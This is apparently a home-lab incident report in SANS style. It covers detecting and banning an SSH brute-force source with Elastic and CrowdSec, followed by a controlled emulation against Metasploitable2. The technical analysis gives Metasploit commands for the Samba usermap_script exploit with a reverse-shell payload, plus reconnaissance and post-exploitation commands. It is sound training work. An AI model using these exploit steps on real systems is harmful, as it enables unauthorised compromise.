Final Incident Report (SANS-Style)

1. Executive Summary

On Feb 27, 2026, repeated failed SSH authentication attempts were observed in the SIEM (Elastic) indicating probable brute-force activity. The events appeared in near real-time due to Filebeat ingestion. After confirming the pattern in Kibana, containment was applied using CrowdSec by banning the offending IP. The containment action was verified via CrowdSec decision listing.

On Feb 28, 2026, controlled adversary emulation was performed against Metasploitable2 to demonstrate the impact of exposed vulnerable services. An Nmap scan identified Samba services on ports 139/445. Metasploit exploitation using the Samba `usermap_script` module succeeded and produced a command shell session. Post-exploitation commands confirmed elevated access, demonstrating that a vulnerable remote service can result in full compromise.

2. Incident Details

Systems Involved

Analyst VM: Ubuntu 24.04 (UTM) `192.168.64.18`
Target VM: Metasploitable2 `192.168.64.6`

Indicators of Compromise / Observables

Repeated SSH authentication failures (SIEM)
Observable IP added in TheHive case
Exploitable Samba services (139/445)
Metasploit shell session opened

3. Timeline (SSH IR Lifecycle)

11:45:45 — First failed SSH login event visible in Kibana (T0)
11:46:00 — Analyst confirms suspicious activity pattern (T1)
11:51:15 — CrowdSec ban applied (T2)

Evidence

- *screenshots/02_SSH_Brute-Force_Attempts_Terminal.png*
- *screenshots/06_Crowdsec_Decision_List_Ban.png*

4. Technical Analysis

Recon (T1046)

Nmap: nmap -sV -T3 192.168.64.6

Exploitation (T1210)

Metasploit module:

```
use exploit/multi/samba/usermap_script
set RHOSTS 192.168.64.6
set LHOST 192.168.64.18
set PAYLOAD cmd/unix/reverse
run
```

Execution (T1059)

Post-session validation:

```
whoami
id
uname -a
```

Evidence: *screenshots/19_Metasploit_exploit_success.png*

Response Actions

- Created TheHive case with tasks and observables
- Applied CrowdSec ban to contain further attempts
- Verified ban via cscli decisions list

Evidence:

- *screenshots/14_thehive_case_creation*
- *screenshots/06_Crowdsec_Decision_List_Ban*

5. Metrics

- MTTD: ~1 minute
- MTTR: ~5 minutes
- Dwell time: 5 minutes 30 seconds

Details: *Metrics.pdf*

6. Root Cause & Recommendations

Root cause and fishbone: *rca-analysis.pdf*

Key recommendations:

- Apply firewall baseline and restrict SSH exposure
- Implement rate limiting / lockout for SSH
- Reduce attack surface by disabling unused services
- Automate response actions via playbook where possible